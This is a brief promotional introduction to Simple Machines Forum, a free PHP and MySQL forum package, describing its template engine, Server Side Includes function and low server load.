Product & Service Introduction:
===============================
Simple Machines Forum — SMF in short — is a free, professional grade software package that allows you to set up
your own online community within minutes. Its powerful custom made template engine puts you in full control of the
lay-out of your message board and with our unique SSI - or Server Side Includes - function you can let your forum
and your website interact with each other.
SMF is written in the popular language PHP and uses a MySQL database. It is designed to provide you with all the
features you need from a bulletin board while having an absolute minimal impact on the resources of the server.
SMF is the next generation of forum software - and best of all it is and will always remain completely free!
